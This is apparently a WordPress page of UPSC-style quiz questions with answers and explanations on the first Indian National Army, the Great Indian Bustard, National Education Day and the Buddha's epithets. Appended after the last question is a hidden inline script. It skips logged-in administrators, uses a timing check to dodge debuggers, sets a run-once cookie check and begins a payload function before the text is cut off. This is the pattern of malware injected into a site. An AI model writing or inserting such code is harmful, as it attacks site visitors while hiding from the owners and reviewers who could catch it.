style=\"color:#0900b5\"><strong>Source: <\/strong><a href=\"https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/156051\/OPS\/GUEF49GT1.1+G6OF5F297.1.html\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/epaper.thehindu.com\/ccidist-ws\/th\/th_international\/issues\/156051\/OPS\/GUEF49GT1.1+G6OF5F297.1.html<\/strong><\/a><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-104 wp-block-paragraph\"><strong>7. Who among the following formed the first Indian National Army (INA) in 1942 with support from the Japanese Army?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-105 wp-block-paragraph\">(a) Rash Behari Bose<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-106 wp-block-paragraph\">(b) Captain Mohan Singh<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-107 wp-block-paragraph\">(c) Subhas Chandra Bose<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-108 wp-block-paragraph\">(d) Major Fujiwara Iwaichi<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-109 wp-block-paragraph\"><strong>Answer: (b) Captain Mohan Singh<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-110 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-111 wp-block-paragraph\"><strong>In NEWS: <\/strong>INA not founded by Subhas Bose, he took up the reins only later, claims new book<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-112 wp-block-paragraph\"><strong>Formation of the First INA (1942)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-113\">\n<li>After Japan\u2019s victories in Malaya and Singapore (1942), around <strong>70,000 Indian soldiers<\/strong> of the <strong>British Indian Army<\/strong> were taken as <strong>Prisoners of War (POWs)<\/strong>.<\/li>\n\n\n\n<li><strong>Captain Mohan Singh<\/strong> of the <strong>14th Punjab Regiment<\/strong> emerged as a leader among these POWs. <strong>Hence option (b) is correct.<\/strong><\/li>\n\n\n\n<li>With Japanese encouragement, he organized the <strong>first Indian National Army (INA)<\/strong> in <strong>1942<\/strong>, aiming to:<ul><li>Liberate India from British rule with Japanese assistance.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Build an armed force of Indians abroad.<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-114 wp-block-paragraph\">However, differences with Japanese officers over control and treatment of Indian soldiers led to the <strong>disbandment<\/strong> of this first INA by the end of 1942.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-115 wp-block-paragraph\"><strong>Subhas Chandra Bose and the Second INA (1943\u201345)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-116\">\n<li><strong>Netaji Subhas Chandra Bose<\/strong> arrived in <strong>Singapore in July 1943<\/strong>.<\/li>\n\n\n\n<li>He reorganized the INA into a disciplined, nationalist army under the slogan <strong>\u201cChalo Dilli\u201d (March to Delhi)<\/strong>.<\/li>\n\n\n\n<li>He established the <strong>Provisional Government of Free India (Azad Hind Government)<\/strong> in <strong>October 1943<\/strong>, recognized by several Axis powers (Japan, Germany, Italy).<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-cyan-bluish-gray-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. In the context of Colonial India, Shah Nawaz Khan, Prem Kumar Sehgal and Gurbaksh Singh Dhillon are remembered as<\/strong> <br><br>(a) Leaders of Swadeshi and Boycott Movement <br>(b) Members of the Interim Government in 1946 <br>(c) Members of the Drafting Committee in the Constituent Assembly <br><strong>(d) Officers of the Indian National Army<\/strong><\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-117 wp-block-paragraph\" style=\"color:#0900b5\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/news\/national\/west-bengal\/ina-was-not-founded-by-netaji-he-took-up-the-reins-only-later-says-new-book\/article70266727.ece#:~:text=According%20to%20the%20book%2C%20The,as%20a%20force%20against%20Britain\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/news\/national\/west-bengal\/ina-was-not-founded-by-netaji-he-took-up-the-reins-only-later-says-new-book\/article70266727.ece#:~:text=According%20to%20the%20book%2C%20The,as%20a%20force%20against%20Britain<\/strong><\/a><strong>.<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-118 wp-block-paragraph\"><strong>8. With reference to the Great Indian Bustard, which of the following statements are correct?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-119 wp-block-paragraph\">1. The Great Indian Bustard is a flagship species and acts as a barometer of grassland health.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-120 wp-block-paragraph\">2. Due to the species\u2019 smaller population size, the International Union for Conservation of Nature (IUCN) has categorised GIBs as critically endangered<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-121 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-122 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-123 wp-block-paragraph\">(b) 2 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-124 wp-block-paragraph\">(c) Both 1 and 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-125 wp-block-paragraph\">(d) Neither 1 nor 2<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-126 wp-block-paragraph\"><strong>Answer: (c) Both 1 and 2<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-127 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-128 wp-block-paragraph\"><strong>In NEWS: <\/strong>SC judge: imported ideas may not save endangered species<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-129 wp-block-paragraph\"><strong>The Great Indian Bustard (GIB)<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-130\">\n<li>The <strong>Great Indian Bustard (Ardeotis nigriceps)<\/strong> is one of the <strong>largest and heaviest flying birds in the world<\/strong>, endemic to the <strong>Indian subcontinent<\/strong>.<\/li>\n\n\n\n<li>It is a <strong>flagship species of India\u2019s grasslands<\/strong>, symbolizing the health and sustainability of these fragile ecosystems. <strong>Hence statement 1 is correct.<\/strong><\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Feature<\/strong><\/td><td><strong>Details<\/strong><\/td><\/tr><tr><td><strong>Habitat<\/strong><\/td><td>Arid and semi-arid grasslands; dry plains of western India (esp. Rajasthan, Gujarat, Maharashtra, Karnataka, Andhra Pradesh).<\/td><\/tr><tr><td><strong>Behavior<\/strong><\/td><td><strong>Diurnal<\/strong> (active during daytime); <strong>terrestrial<\/strong> \u2014 prefers walking and running over flying.<\/td><\/tr><tr><td><strong>Diet<\/strong><\/td><td>Omnivorous \u2014 feeds on grass seeds, insects, small reptiles (lizards), and berries.<\/td><\/tr><tr><td><strong>Breeding<\/strong><\/td><td>Lays <strong>one egg per season<\/strong>; incubation by the female; slow breeding rate hampers recovery.<\/td><\/tr><tr><td><strong>Status<\/strong><\/td><td>State bird of <strong>Rajasthan<\/strong> (largest remaining population). <strong>Hence statement 2 is correct.<\/strong><\/td><\/tr><tr><td><strong>Ecological Role<\/strong><\/td><td><strong>Flagship species<\/strong> and <strong>barometer of grassland health<\/strong>.<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-131 wp-block-paragraph\"><strong>Other Bustard Species Found in India<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-132 wp-block-paragraph\"><strong>1. Great Indian Bustard<\/strong> (<em>Ardeotis nigriceps<\/em>) \u2014 endemic, largest species.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-133 wp-block-paragraph\"><strong>2. Lesser Florican<\/strong> (<em>Sypheotides indicus<\/em>) \u2014 smallest and highly endangered.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-134 wp-block-paragraph\"><strong>3. Bengal Florican<\/strong> (<em>Houbaropsis bengalensis<\/em>) \u2014 seen in Assam, UP, and Nepal Terai.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-135 wp-block-paragraph\"><strong>4. MacQueen\u2019s Bustard<\/strong> (<em>Chlamydotis macqueenii<\/em>) \u2014 migratory, from Central Asia to western India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-136 wp-block-paragraph\"><strong>Conservation Status<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-text-color has-link-color\"><tbody><tr><td><strong>Convention\/Act<\/strong><\/td><td><strong>Status<\/strong><\/td><\/tr><tr><td>IUCN Red List<\/td><td>Critically Endangered<\/td><\/tr><tr><td>Wildlife (Protection) Act, 1972<\/td><td>Schedule I<\/td><\/tr><tr><td>CITES (Convention on International Trade in Endangered Species)<\/td><td>Appendix I<\/td><\/tr><tr><td>CMS (Convention on Migratory Species)<\/td><td>Appendix I<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-137 wp-block-paragraph\"><strong>Conservation Efforts<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-138 wp-block-paragraph\"><strong>1. National-Level Measures<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-139\">\n<li><strong>Project Great Indian Bustard (2015):<\/strong> Implemented under the <strong>Integrated Development of Wildlife Habitats (IDWH)<\/strong> scheme of the <strong>Ministry of Environment, Forest and Climate Change (MoEFCC)<\/strong>. Focus on habitat conservation, breeding, and reducing mortality.<\/li>\n\n\n\n<li><strong>Supreme Court Directive (2021): <\/strong>Ordered <strong>undergrounding of power transmission lines<\/strong> in priority GIB habitats in Rajasthan and Gujarat to prevent electrocution.<\/li>\n\n\n\n<li><strong>Breeding and Hatchery Programs:<\/strong><ul><li>Initiated at <strong>Sam and Sorsan (Rajasthan)<\/strong> under the <strong>Great Indian Bustard Captive Breeding Programme<\/strong>.<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li><strong>First successful artificial insemination (Oct 2024)<\/strong> produced chick <strong>\u201cArambh\u201d<\/strong> \u2014 a breakthrough for genetic diversity.<\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Eco-sensitive Zones &amp; Protected Areas:<\/strong><ul><li>Desert National Park (Rajasthan) \u2013 main habitat.<\/li><\/ul><ul><li>Kutch Bustard Sanctuary (Gujarat)<\/li><\/ul><ul><li>Nannaj (Maharashtra)<\/li><\/ul><ul><li>Karera (Madhya Pradesh)<\/li><\/ul>\n<ul class=\"wp-block-list\">\n<li>Rollapadu (Andhra Pradesh)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-light-green-cyan-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2020)<\/strong> <br><br><strong>Q. With reference to India\u2019s Desert National Park, which of the following statements are correct?<\/strong> <br><br>1. It is spread over two districts. <br>2. There is no human habitation inside the Park. <br>3. It is one of the natural habitats of the Great Indian Bustard. <br><br><strong>Select the correct answer using the code given below:<\/strong> <br><br>(a) 1 and 2 only <br>(b) 2 and 3 only <br><strong>(c) 1 and 3 only<\/strong> <br>(d) 1, 2 and 3<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-140 wp-block-paragraph\" style=\"color:#0900b5\"><strong>Source: <\/strong><a href=\"https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/imported-ideas-like-inter-generational-equity-are-anthropocentric-may-not-protect-endangered-species-justice-narasimha\/article70268280.ece\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/www.thehindu.com\/sci-tech\/energy-and-environment\/imported-ideas-like-inter-generational-equity-are-anthropocentric-may-not-protect-endangered-species-justice-narasimha\/article70268280.ece<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-141 wp-block-paragraph\"><strong>9. Consider the following statements:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-142 wp-block-paragraph\"><strong>Statement-I:<\/strong> National Education Day is celebrated every year on 11th November across India.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-143 wp-block-paragraph\"><strong>Statement-II:<\/strong> It commemorates the birth anniversary of Maulana Abul Kalam Azad, who served as independent India\u2019s first Education Minister and laid the foundation for institutions like IITs and UGC.<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-144 wp-block-paragraph\"><strong>Which one of the following is correct in respect of the above statements?<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-145 wp-block-paragraph\">(a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-146 wp-block-paragraph\">(b) Both Statement-I and Statement-II are correct, but Statement-II does not explain Statement-I<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-147 wp-block-paragraph\">(c) Statement-I is correct, but Statement-II is incorrect<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-148 wp-block-paragraph\">(d) Statement-I is incorrect, but Statement-II is correct<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-149 wp-block-paragraph\"><strong>Answer: (a) Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-150 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-151 wp-block-paragraph\"><strong>In NEWS: <\/strong>National Education Day 2025 Today: Why is it celebrated on Nov 11? History and significance<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-152 wp-block-paragraph\"><strong>National Education Day 2025<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-153\">\n<li><strong>Date of observance:<\/strong> 11 November every year<\/li>\n\n\n\n<li><strong>Purpose:<\/strong> Commemorate the birth anniversary of <strong>Maulana Abul Kalam Azad<\/strong>, India\u2019s first Education Minister.<\/li>\n\n\n\n<li><strong>Official declaration:<\/strong> 2008, by the Ministry of Human Resource Development (now Ministry of Education).<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-154 wp-block-paragraph\"><strong>Maulana Abul Kalam Azad \u2013 Legacy<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-155\">\n<li><strong>Born:<\/strong> 1888<\/li>\n\n\n\n<li><strong>Roles:<\/strong> Freedom fighter, scholar, first Education Minister of independent India (1947\u20131958)<\/li>\n\n\n\n<li><strong>Vision:<\/strong> Education must be <strong>inclusive, promote critical thinking, civic responsibility, and confidence<\/strong>, not just academic achievement.<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-156 wp-block-paragraph\"><strong>Contributions:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-157\">\n<li>Established key institutions: <strong>Indian Institutes of Technology (IITs), University Grants Commission (UGC), Council of Scientific and Industrial Research (CSIR)<\/strong>\n<ul class=\"wp-block-list\">\n<li>Laid the foundation of India\u2019s <strong>modern educational and research infrastructure<\/strong><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-158 wp-block-paragraph\"><strong>Hence, Both Statement-I and Statement-II are correct and Statement-II explains Statement-I<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-table\"><table class=\"has-black-color has-pale-cyan-blue-background-color has-text-color has-background has-link-color\"><tbody><tr><td><strong>PYQ REFERENCE: (2021)<\/strong> <br><br><strong>Q. Consider the following statements:<\/strong> <br><br>1. 21st February is declared to be the International Mother Language Day by UNICEF. <br>2. The demand that Bangla has to be one of the national languages was raised in the Constituent Assembly of Pakistan. <br><br><strong>Which of the above statements is\/are correct?<\/strong> <br><br>(a) 1 only <br><strong>(b) 2 only<\/strong> <br>(c) Both 1 and 2 <br>(d) Neither 1 nor 2<\/td><\/tr><\/tbody><\/table><\/figure>\n\n\n\n<p class=\"has-text-color has-link-color wp-elements-159 wp-block-paragraph\" style=\"color:#0900b5\"><strong>Source: <\/strong><a href=\"https:\/\/indianexpress.com\/article\/education\/national-education-day-2025-date-why-is-it-celebrated-on-november-11-history-significance-maulana-abul-kalam-azad-10356419\/\" target=\"_blank\" rel=\"noopener\"><strong>https:\/\/indianexpress.com\/article\/education\/national-education-day-2025-date-why-is-it-celebrated-on-november-11-history-significance-maulana-abul-kalam-azad-10356419<\/strong><\/a><strong><\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-160 wp-block-paragraph\"><strong>10. With reference to ancient India, Gautama Buddha was generally known by which of the following epithets? (2024)<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-161 wp-block-paragraph\">1. Nayaputta<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-162 wp-block-paragraph\">2. Shakyamuni<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-163 wp-block-paragraph\">3. Tathagata<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-164 wp-block-paragraph\"><strong>Select the correct answer using the code given below:<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-165 wp-block-paragraph\">(a) 1 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-166 wp-block-paragraph\">(b) 2 and 3 only<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-167 wp-block-paragraph\">(c) 1, 2 and 3<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-168 wp-block-paragraph\">(d) None of the above are epithets of Gautama Buddha<\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-169 wp-block-paragraph\"><strong>Answer: (b) 2 and 3 only<\/strong><\/p>\n\n\n\n<p class=\"has-black-color has-text-color has-link-color wp-elements-170 wp-block-paragraph\"><strong>Explanation:<\/strong><\/p>\n\n\n\n<ul class=\"has-black-color has-text-color has-link-color wp-block-list wp-elements-171\">\n<li><strong>Nayaputta:<\/strong> This epithet is associated with Mahavira, the founder of Jainism, not Gautama Buddha. It means &#8220;son of Naya&#8221; or &#8220;son of the Nata clan&#8221;. <strong>Hence 1 is incorrect.<\/strong><\/li>\n\n\n\n<li><strong>Shakyamuni:<\/strong> This epithet refers to Gautama Buddha as the &#8220;Sage of the Shakyas,&#8221; highlighting his lineage from the Shakya clan. <strong>Hence 2 is correct.<\/strong><\/li>\n\n\n\n<li><strong>Tathagata: <\/strong>This translates to &#8220;Thus Gone&#8221; or &#8220;Thus Come,&#8221; signifying his attainment of enlightenment. <strong>Hence 3 is correct.<\/strong><\/li>\n<\/ul>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var 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